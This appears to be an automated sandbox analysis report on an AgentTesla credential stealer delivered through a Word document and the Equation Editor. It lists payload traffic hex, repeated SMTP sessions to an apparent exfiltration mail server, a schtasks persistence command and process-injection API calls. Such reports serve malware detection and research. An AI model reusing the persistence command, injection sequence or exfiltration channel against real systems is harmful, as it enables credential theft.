Feb 4, 2021 09:55:36.825409889 CET	12	IN	Data Raw: e7 00 00 00 1f 3d 73 69 00 00 0a 6f 6a 00 00 0a 00 02 6f 6d 00 00 06 16 6f 6b 00 00 0a 00 02 6f 6f 00 00 06 1f 12 20 9c 00 00 00 73 66 00 00 0a 6f 67 00 00 0a 00 02 6f 6f 00 00 06 72 40 02 00 70 6f 68 00 00 0a 00 02 6f 6f 00 00 06 20 9e 00 00 00 Data Ascii: =siojomokoo sfogoor@pohoo =siojoookoq(yozoqo}oqo~oq sfogoqrpohoq siojoqokoqo
Feb 4, 2021 09:55:36.825469017 CET	13	IN	Data Raw: 03 7d 3a 00 00 04 2a 26 02 7b 3b 00 00 04 2b 00 2a 13 30 02 00 37 00 00 00 0e 00 00 11 02 fe 06 7f 00 00 06 73 53 00 00 0a 0a 02 7b 3b 00 00 04 0b 07 2c 07 07 06 6f 94 00 00 0a 02 03 7d 3b 00 00 04 02 7b 3b 00 00 04 0b 07 2c 07 07 06 6f 95 00 00 Data Ascii: }:&{;+07sS{;,o};{;,o&{<+"}<&{=+"}=&{>+"}>*0{?o{@{?orpooqoo{@o}D+Yoq
Feb 4, 2021 09:55:36.825535059 CET	15	IN	Data Raw: 11 04 2c 0e 72 ca 0b 00 70 16 14 28 bd 00 00 0a 26 00 00 02 7b 3f 00 00 04 6f a4 00 00 0a 00 02 28 a6 00 00 0a 00 28 09 00 00 06 6f 0a 03 00 06 6f 09 02 00 06 00 2a 26 00 02 28 a6 00 00 0a 00 2a 56 72 de 0b 00 70 80 45 00 00 04 72 28 0c 00 70 80 Data Ascii: ,rp(&{?o((oo&(VrpEr(pF(@Z(@((&0mrBporp((rp( %%%~E%~F%rpo& +
Feb 4, 2021 09:55:37.022319078 CET	16	IN	Data Raw: 70 6f d1 00 00 0a 14 fe 03 0d 09 2c 22 02 28 c5 00 00 0a 07 6f c5 00 00 0a 72 2a 0d 00 70 6f d1 00 00 0a 73 59 03 00 06 6f d2 00 00 0a 00 00 00 07 6f c5 00 00 0a 72 3a 0d 00 70 6f d1 00 00 0a 14 fe 03 13 04 11 04 2c 22 02 28 c5 00 00 0a 07 6f c5 Data Ascii: po,"(or*posYoor:po,"(or:pos\|oorVpo,"(orVposoo(o(o(o(o(o(

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Feb 4, 2021 09:56:36.829602957 CET	587	49166	198.54.122.60	192.168.2.22	220 PrivateEmail.com Mail Node
Feb 4, 2021 09:56:36.830039024 CET	49166	587	192.168.2.22	198.54.122.60	EHLO 910646
Feb 4, 2021 09:56:37.021379948 CET	587	49166	198.54.122.60	192.168.2.22	250-MTA-06.privateemail.com 250-PIPELINING 250-SIZE 81788928 250-ETRN 250-AUTH PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 STARTTLS
Feb 4, 2021 09:56:37.022835016 CET	49166	587	192.168.2.22	198.54.122.60	STARTTLS
Feb 4, 2021 09:56:37.213848114 CET	587	49166	198.54.122.60	192.168.2.22	220 Ready to start TLS
Feb 4, 2021 09:56:44.679739952 CET	587	49168	198.54.122.60	192.168.2.22	220 PrivateEmail.com Mail Node
Feb 4, 2021 09:56:44.680325985 CET	49168	587	192.168.2.22	198.54.122.60	EHLO 910646
Feb 4, 2021 09:56:44.871485949 CET	587	49168	198.54.122.60	192.168.2.22	250-MTA-06.privateemail.com 250-PIPELINING 250-SIZE 81788928 250-ETRN 250-AUTH PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 STARTTLS
Feb 4, 2021 09:56:44.871975899 CET	49168	587	192.168.2.22	198.54.122.60	STARTTLS
Feb 4, 2021 09:56:45.063184023 CET	587	49168	198.54.122.60	192.168.2.22	220 Ready to start TLS
Feb 4, 2021 09:56:52.550329924 CET	587	49169	198.54.122.60	192.168.2.22	220 PrivateEmail.com Mail Node
Feb 4, 2021 09:56:52.550904989 CET	49169	587	192.168.2.22	198.54.122.60	EHLO 910646
Feb 4, 2021 09:56:52.741890907 CET	587	49169	198.54.122.60	192.168.2.22	250-MTA-06.privateemail.com 250-PIPELINING 250-SIZE 81788928 250-ETRN 250-AUTH PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 STARTTLS
Feb 4, 2021 09:56:52.742235899 CET	49169	587	192.168.2.22	198.54.122.60	STARTTLS
Feb 4, 2021 09:56:52.932986975 CET	587	49169	198.54.122.60	192.168.2.22	220 Ready to start TLS
Feb 4, 2021 09:57:01.784151077 CET	587	49170	198.54.122.60	192.168.2.22	220 PrivateEmail.com Mail Node
Feb 4, 2021 09:57:01.784584045 CET	49170	587	192.168.2.22	198.54.122.60	EHLO 910646
Feb 4, 2021 09:57:01.977025986 CET	587	49170	198.54.122.60	192.168.2.22	250-MTA-06.privateemail.com 250-PIPELINING 250-SIZE 81788928 250-ETRN 250-AUTH PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 STARTTLS
Feb 4, 2021 09:57:01.977374077 CET	49170	587	192.168.2.22	198.54.122.60	STARTTLS
Feb 4, 2021 09:57:02.168011904 CET	587	49170	198.54.122.60	192.168.2.22	220 Ready to start TLS
Feb 4, 2021 09:57:12.090840101 CET	587	49171	198.54.122.60	192.168.2.22	220 PrivateEmail.com Mail Node
Feb 4, 2021 09:57:12.133011103 CET	49171	587	192.168.2.22	198.54.122.60	EHLO 910646
Feb 4, 2021 09:57:12.324244976 CET	587	49171	198.54.122.60	192.168.2.22	250-MTA-06.privateemail.com 250-PIPELINING 250-SIZE 81788928 250-ETRN 250-AUTH PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 STARTTLS
Feb 4, 2021 09:57:12.324624062 CET	49171	587	192.168.2.22	198.54.122.60	STARTTLS
Feb 4, 2021 09:57:12.515646935 CET	587	49171	198.54.122.60	192.168.2.22	220 Ready to start TLS
Feb 4, 2021 09:57:18.489867926 CET	587	49172	198.54.122.60	192.168.2.22	220 PrivateEmail.com Mail Node
Feb 4, 2021 09:57:18.490144968 CET	49172	587	192.168.2.22	198.54.122.60	EHLO 910646
Feb 4, 2021 09:57:18.680795908 CET	587	49172	198.54.122.60	192.168.2.22	250-MTA-06.privateemail.com 250-PIPELINING 250-SIZE 81788928 250-ETRN 250-AUTH PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 STARTTLS
Feb 4, 2021 09:57:18.681583881 CET	49172	587	192.168.2.22	198.54.122.60	STARTTLS
Feb 4, 2021 09:57:18.872106075 CET	587	49172	198.54.122.60	192.168.2.22	220 Ready to start TLS

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: WINWORD.EXE PID: 1684 Parent PID: 584

General

Start time:	09:55:35
Start date:	04/02/2021
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Imagebase:	0x13f5f0000
File size:	1424032 bytes
MD5 hash:	95C38D04597050285A18F66039EDB456
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: EQNEDT32.EXE PID: 2500 Parent PID: 584

General

Start time:	09:55:36
Start date:	04/02/2021
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: believeoaid.exe PID: 2748 Parent PID: 2500

General

Start time:	09:56:01
Start date:	04/02/2021
Path:	C:\Users\user\AppData\Roaming\believeoaid.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\believeoaid.exe
Imagebase:	0xdd0000
File size:	1074688 bytes
MD5 hash:	17FF2AD2A2B117AAE7C52B34141CAEF1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000004.00000002.2139656039.00000000023F1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.2141098426.00000000033F9000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000004.00000002.2139676967.0000000002410000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: schtasks.exe PID: 2796 Parent PID: 2748

General

Start time:	09:56:03
Start date:	04/02/2021
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\fjctND' /XML 'C:\Users\user\AppData\Local\Temp\tmpFCA8.tmp'
Imagebase:	0x7f0000
File size:	179712 bytes
MD5 hash:	2003E9B15E1C502B146DAD2E383AC1E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: believeoaid.exe PID: 2460 Parent PID: 2748

General

Start time:	09:56:04
Start date:	04/02/2021
Path:	C:\Users\user\AppData\Roaming\believeoaid.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\believeoaid.exe
Imagebase:	0xdd0000
File size:	1074688 bytes
MD5 hash:	17FF2AD2A2B117AAE7C52B34141CAEF1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.2396885808.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.2397578725.0000000002737000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.2397578725.0000000002737000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.2397455159.0000000002621000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.2397455159.0000000002621000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.2398457907.0000000002A87000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.2398523080.0000000002AAE000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: EQNEDT32.EXE PID: 2948 Parent PID: 584

General

Start time:	09:56:20
Start date:	04/02/2021
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: believeoaid.exe PID: 2748 Parent PID: 2500 believeoaid.exeCOMMON

Executed Functions

Function 001F1CE0, Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139073074.00000000001F0000.00000040.00000001.sdmp, Offset: 001F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 753b0739f1e7cf0b1c3ef8495f446b5f25fc27a6c7980bd95fbb84bd4b971107
Instruction ID: 52ab5d4ed1ecf5a8b4081b2f02559217f7bc395bd05c58eb9f7bbaa861c89961
Opcode Fuzzy Hash: 753b0739f1e7cf0b1c3ef8495f446b5f25fc27a6c7980bd95fbb84bd4b971107
Instruction Fuzzy Hash: E8912370E0021CDFDB15DFA6C840BEEBBF6BF99315F548569D608AB205EB305A858F60

Uniqueness

Uniqueness Score: -1.00%

Function 001F9D68, Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139073074.00000000001F0000.00000040.00000001.sdmp, Offset: 001F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d995286dfd172f3a7be34b9d9d9cda3f0cf71a039bf2ef510d919fa4d62a63a
Instruction ID: a1dbf7d4317710673e321b8f4ed21224fdf052a58b7d807cf7c65fc870546782
Opcode Fuzzy Hash: 8d995286dfd172f3a7be34b9d9d9cda3f0cf71a039bf2ef510d919fa4d62a63a
Instruction Fuzzy Hash: E3811574E002188FCB04EFE9C580AEEBBF6AF88315F65C065D619AB355E7309D41CB51

Uniqueness

Uniqueness Score: -1.00%

Function 001F9D58, Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139073074.00000000001F0000.00000040.00000001.sdmp, Offset: 001F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ced12920fc1bb067346bfde4276aedb23a3a5e22505ecc7386dbb6d4a87c9e30
Instruction ID: a2a9bee3b790735f38f6585d71499574e410bd7b0f3854b902958742cd0b45e4
Opcode Fuzzy Hash: ced12920fc1bb067346bfde4276aedb23a3a5e22505ecc7386dbb6d4a87c9e30
Instruction Fuzzy Hash: AB611374E002488FCB08EFEAC5446EDBBF6AF89315F65C069D608AB715E7349941CF51

Uniqueness

Uniqueness Score: -1.00%

Function 001F1CD0, Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139073074.00000000001F0000.00000040.00000001.sdmp, Offset: 001F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b35eb6829c066ec4e4541497f695e25751fb7d0a125bbd2bb5cda90417d421cc
Instruction ID: a9db0f3d0fe51f4ded3723ad28dbb655a2be0d6c5754a342c4cf79c10fb222f9
Opcode Fuzzy Hash: b35eb6829c066ec4e4541497f695e25751fb7d0a125bbd2bb5cda90417d421cc
Instruction Fuzzy Hash: F9612570E0021CDFDB19DFAAC8407EEBBF6BF99314F5485A9D608A7245EB304A858F51

Uniqueness

Uniqueness Score: -1.00%

Function 001FD1A7, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139073074.00000000001F0000.00000040.00000001.sdmp, Offset: 001F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73d2b162c3d261220f70bab4eef6abcce9f82f5a261a69d0af6ca4f35e6983f0
Instruction ID: 2c14073dcb92d6f6353b993fcfb0a4e3dd44edf260474e1cd407f6c37f07ef9a
Opcode Fuzzy Hash: 73d2b162c3d261220f70bab4eef6abcce9f82f5a261a69d0af6ca4f35e6983f0
Instruction Fuzzy Hash: 88216A74D4420CDFCB14CFA4D584BFEBBB2AF4A305F2494AAD915B7290CB358A44CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 001FAE50, Relevance: 1.8, APIs: 1, Instructions: 323processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 001FB117

Memory Dump Source

Source File: 00000004.00000002.2139073074.00000000001F0000.00000040.00000001.sdmp, Offset: 001F0000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 2d97aeeeea96a499e6d8f14a6ba6218af45902788f3ca4271ad29e9507a6a97c
Instruction ID: 252c9f3c6ba3e21ce70a5b5b609dcd0c77a2797f613dbae6db273135ed7b4595
Opcode Fuzzy Hash: 2d97aeeeea96a499e6d8f14a6ba6218af45902788f3ca4271ad29e9507a6a97c
Instruction Fuzzy Hash: 05C117B1D0421D8FDB20CFA4C881BEDBBB1BF49304F1095AAE959B7240DB749A85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 001FAAB8, Relevance: 1.6, APIs: 1, Instructions: 118injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 001FAB8B

Memory Dump Source

Source File: 00000004.00000002.2139073074.00000000001F0000.00000040.00000001.sdmp, Offset: 001F0000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 43f264612141d4d323700345817e5d10d379d40814736a06d65ceec7d686a10b
Instruction ID: ccff58ce3f5fd6790e46d63352084faf71ca8986d7f7ae894955cb964f1cbea7
Opcode Fuzzy Hash: 43f264612141d4d323700345817e5d10d379d40814736a06d65ceec7d686a10b
Instruction Fuzzy Hash: 05419BB5D012589FCF00CFA9D984AEEBBF1BF49314F20942AE919B7200D734AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 001FAC12, Relevance: 1.6, APIs: 1, Instructions: 111COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 001FACCA

Memory Dump Source

Source File: 00000004.00000002.2139073074.00000000001F0000.00000040.00000001.sdmp, Offset: 001F0000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 0e570856217079bd811fdd84214282e687c28f2ea0dc383bd2f2802a523448ef
Instruction ID: 64d4401a3c99a5b227e4dfb654c460efa760454805f1c51c1ef404d05901317d
Opcode Fuzzy Hash: 0e570856217079bd811fdd84214282e687c28f2ea0dc383bd2f2802a523448ef
Instruction Fuzzy Hash: BA41CBB9D002589FCF00CFA9D880AEEFBB1BF09314F20942AE915B7200D735AA05CF65

Uniqueness

Uniqueness Score: -1.00%

Function 001FAC18, Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 001FACCA

Memory Dump Source

Source File: 00000004.00000002.2139073074.00000000001F0000.00000040.00000001.sdmp, Offset: 001F0000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: f2c30f63f7bad87b9f130a42298a3f2002725caf8c215b3d45903f5e9183ddb2
Instruction ID: d09ebab01943ed134d9466e22ee15703e661dcb6a369738c99bf41b4f2b74314
Opcode Fuzzy Hash: f2c30f63f7bad87b9f130a42298a3f2002725caf8c215b3d45903f5e9183ddb2
Instruction Fuzzy Hash: 9F419CB5D002589FCF10CFA9D884AEEFBB5BF49314F20942AE915B7200D735A945CF65

Uniqueness

Uniqueness Score: -1.00%

Function 001FA988, Relevance: 1.6, APIs: 1, Instructions: 107memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 001FAA3A

Memory Dump Source

Source File: 00000004.00000002.2139073074.00000000001F0000.00000040.00000001.sdmp, Offset: 001F0000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 02dfd9368abaad3b1237402dcf702ba43ffe9aa68ae916b26c7747649b524a22
Instruction ID: 6abeedf58545e5dd31fd71b24ab62528778a3b23b14e64e337e6e35bbc3a7078
Opcode Fuzzy Hash: 02dfd9368abaad3b1237402dcf702ba43ffe9aa68ae916b26c7747649b524a22
Instruction Fuzzy Hash: BF41B9B8D002589FCF00CFA9D880AEEBBB1FF49314F20A41AE915B7200D735A916CF95

Uniqueness

Uniqueness Score: -1.00%

Function 001FA990, Relevance: 1.6, APIs: 1, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 001FAA3A

Memory Dump Source

Source File: 00000004.00000002.2139073074.00000000001F0000.00000040.00000001.sdmp, Offset: 001F0000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 34ed2dee1425f2fcab0804d13c6ac4cb6b6e227a9d5fa193bfb05408b5436c20
Instruction ID: 866b747ee6cb89489e7e374715d18543fa9d07e0857fa1f65f127566b5e4b3f7
Opcode Fuzzy Hash: 34ed2dee1425f2fcab0804d13c6ac4cb6b6e227a9d5fa193bfb05408b5436c20
Instruction Fuzzy Hash: 864188B9D002589FCF10CFA9D980AEEBBB5AF49314F20A41AE915B7200D735A915CF95

Uniqueness

Uniqueness Score: -1.00%

Function 001FA860, Relevance: 1.6, APIs: 1, Instructions: 96threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 001FA90F

Memory Dump Source

Source File: 00000004.00000002.2139073074.00000000001F0000.00000040.00000001.sdmp, Offset: 001F0000, based on PE: false

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: c798ca04889fd1a001d5e71b57527dee299399afad1fc44ae07a10e597e67b96
Instruction ID: 5faba2ed211565503a0108adae18fe5dd7a84cdbbcca12e9273dc9b0501d908e
Opcode Fuzzy Hash: c798ca04889fd1a001d5e71b57527dee299399afad1fc44ae07a10e597e67b96
Instruction Fuzzy Hash: 4141CEB5D002589FCB14CFA9D884AEEFBF1BF49314F24842AE519B7240D778AA45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 001FA768, Relevance: 1.6, APIs: 1, Instructions: 77threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 001FA7EE

Memory Dump Source

Source File: 00000004.00000002.2139073074.00000000001F0000.00000040.00000001.sdmp, Offset: 001F0000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: ff9d7cccb0a0da7998e0362fd20f4f5c521c1d6250b398739007c66d4da9076e
Instruction ID: d0564f07b9384d57bcc7b11b493e2b572ca985a5980eaab1e6f464dc71dd4d39
Opcode Fuzzy Hash: ff9d7cccb0a0da7998e0362fd20f4f5c521c1d6250b398739007c66d4da9076e
Instruction Fuzzy Hash: 3831EFB4D002189FCF14CFA9D880AEEFBB5AF49314F20942AE815B7300D734A902CF95

Uniqueness

Uniqueness Score: -1.00%

Function 001FA770, Relevance: 1.6, APIs: 1, Instructions: 75threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 001FA7EE

Memory Dump Source

Source File: 00000004.00000002.2139073074.00000000001F0000.00000040.00000001.sdmp, Offset: 001F0000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 0b7fa197fa7def7d3807c5dcc174ae1ea1e30824cdd28b1f9cebfc6cc8a7b4a0
Instruction ID: e33103772f894b6552f5b2a23f648c8195ebd02cf0905071e374457cb22ab130
Opcode Fuzzy Hash: 0b7fa197fa7def7d3807c5dcc174ae1ea1e30824cdd28b1f9cebfc6cc8a7b4a0
Instruction Fuzzy Hash: 2E31BEB5D002189FCF14CFA9D884AEEFBB5AF49314F24941AE919B7300D775A902CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0014D01C, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139030220.000000000014D000.00000040.00000001.sdmp, Offset: 0014D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34ba78e850e80c5d3ae56d6aae398e9296fe0e99690b308a09a211722dcc4a63
Instruction ID: 30a9abb9854b19f31b2d899ea33adf570fe1b6b050948e10c9e4a4fd66f30da5
Opcode Fuzzy Hash: 34ba78e850e80c5d3ae56d6aae398e9296fe0e99690b308a09a211722dcc4a63
Instruction Fuzzy Hash: 6F21F275604204DFDF14CF60E884B26BBA5FB84314F20C9ADE8094B256C33AD847CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0014D006, Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139030220.000000000014D000.00000040.00000001.sdmp, Offset: 0014D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 687ae4dbffa32b829f43f5847dcba4038db5f04e9666324eaa66f065fe54e571
Instruction ID: 9f4adb955dd65ad7527c2316496896189e672936ba91b2ba24a0e7fedf614549
Opcode Fuzzy Hash: 687ae4dbffa32b829f43f5847dcba4038db5f04e9666324eaa66f065fe54e571
Instruction Fuzzy Hash: DD2180755083809FCB02CF24E994715BF71EF46314F28C5DAD8458B267C33AD806CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0012D1C5, Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2138987634.000000000012D000.00000040.00000001.sdmp, Offset: 0012D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3d3330424ec7ad75a5bdd48e099aa671def18101da8c84a803d35b778471858
Instruction ID: cb5c70534c5e4bfa7edb0d0e9c16a71da49c90f0b6a07d1df1b97d1924b5dc5d
Opcode Fuzzy Hash: d3d3330424ec7ad75a5bdd48e099aa671def18101da8c84a803d35b778471858
Instruction Fuzzy Hash: ED012B75008354DBE7204A66F888BA7FBDCFF51324F14C45AEE481A282C374DC50C671

Uniqueness

Uniqueness Score: -1.00%

Function 0012D1C4, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2138987634.000000000012D000.00000040.00000001.sdmp, Offset: 0012D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b084532a1022094a407a4242e924fa28d08229638c23680b2879582df7f53a11
Instruction ID: d069faf15b6b79208038519f5367162955d17571c08486e5d673f3d7e2fc28bc
Opcode Fuzzy Hash: b084532a1022094a407a4242e924fa28d08229638c23680b2879582df7f53a11
Instruction Fuzzy Hash: 99F06272404694AAE7208E15E888B66FF98EF91724F28C55AED485B286C3789C44CBB1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00DDA6BD, Relevance: 5.5, Strings: 1, Instructions: 4236
COMMONCrypto

Download Yara Rule

C-Code - Quality: 70%

			E00DDA6BD(signed int __eax, signed int __ebx, signed int __ecx, signed int __edx, intOrPtr* __edi, signed int __esi, void* __fp0) {
				signed char _t1225;
				signed char _t1226;
				signed char _t1227;
				signed char _t1228;
				signed char _t1229;
				signed char _t1231;
				signed char _t1232;
				signed char _t1233;
				signed char _t1234;
				signed int _t1236;
				signed char _t1237;
				signed char _t1238;
				signed char _t1239;
				signed char _t1240;
				signed char _t1241;
				signed char _t1242;
				signed char _t1243;
				signed char _t1244;
				signed char _t1245;
				signed char _t1246;
				signed char _t1247;
				intOrPtr* _t1249;
				signed char _t1250;
				intOrPtr* _t1251;
				signed char _t1253;
				intOrPtr* _t1254;
				intOrPtr* _t1255;
				intOrPtr* _t1256;
				intOrPtr* _t1257;
				signed char _t1259;
				intOrPtr* _t1260;
				signed char _t1262;
				intOrPtr* _t1263;
				signed char _t1265;
				signed char _t1266;
				signed char _t1267;
				intOrPtr* _t1268;
				intOrPtr* _t1272;
				signed char _t1273;
				signed char _t1274;
				signed char _t1275;
				intOrPtr* _t1276;
				signed char _t1277;
				signed char _t1278;
				signed char _t1279;
				signed char _t1280;
				signed char _t1281;
				signed char _t1282;
				signed int _t1283;
				signed char _t1284;
				signed char _t1285;
				signed char _t1286;
				signed int _t1287;
				signed char _t1288;
				signed char _t1289;
				signed char _t1290;
				signed char _t1291;
				signed char _t1292;
				signed char _t1293;
				signed char _t1294;
				signed char _t1295;
				signed char _t1296;
				signed char _t1297;
				signed char _t1817;
				signed char _t1818;
				signed char _t1819;
				signed char _t1821;
				signed char _t1822;
				signed char _t1823;
				signed char _t1826;
				signed char _t1827;
				signed char _t1828;
				intOrPtr* _t1829;
				signed char _t1831;
				intOrPtr* _t1834;
				signed char _t1836;
				intOrPtr* _t1837;
				signed char _t1839;
				signed char _t1842;
				signed char _t1843;
				intOrPtr* _t1846;
				signed char _t1848;
				signed char _t1849;
				signed char _t1853;
				signed char _t1854;
				signed char _t1855;
				signed char _t1856;
				signed char _t1857;
				intOrPtr* _t1859;
				void* _t1860;
				void* _t1862;
				intOrPtr* _t1865;
				intOrPtr* _t1866;
				char* _t1867;
				signed int _t1868;
				void* _t1905;
				signed char _t1909;
				signed char _t1911;
				void* _t1913;
				signed char _t1914;
				void* _t1915;
				void* _t1916;
				void* _t1917;
				void* _t1918;
				void* _t1919;
				signed char _t1920;
				signed char _t1921;
				void* _t1925;
				void* _t1926;
				signed char _t1928;
				signed char _t1933;
				signed char _t1936;
				signed char _t1937;
				intOrPtr* _t1938;
				void* _t1939;
				signed char _t1942;
				signed char _t1943;
				signed char _t1944;
				signed char _t1945;
				signed char _t1946;
				signed char _t1947;
				signed char _t1948;
				signed char _t1949;
				signed char _t1952;
				signed char _t1956;
				signed char _t1961;
				void* _t1963;
				signed char _t1964;
				signed char _t1967;
				void* _t1968;
				signed char _t1971;
				signed char _t1972;
				void* _t1974;
				signed char _t1975;
				signed char _t1976;
				void* _t1978;
				void* _t1979;
				void* _t1980;
				void* _t1981;
				void* _t1982;
				void* _t1983;
				void* _t1984;
				signed char _t1985;
				signed char _t1987;
				signed char _t2252;
				void* _t2253;
				signed char _t2254;
				void* _t2262;
				void* _t2263;
				signed int _t2272;
				signed char _t2273;
				intOrPtr* _t2274;
				signed char _t2276;
				intOrPtr* _t2277;
				intOrPtr* _t2316;
				intOrPtr* _t2317;
				void* _t2318;
				signed int* _t2321;
				void* _t2337;
				signed int _t2339;
				intOrPtr* _t2340;
				void* _t2341;
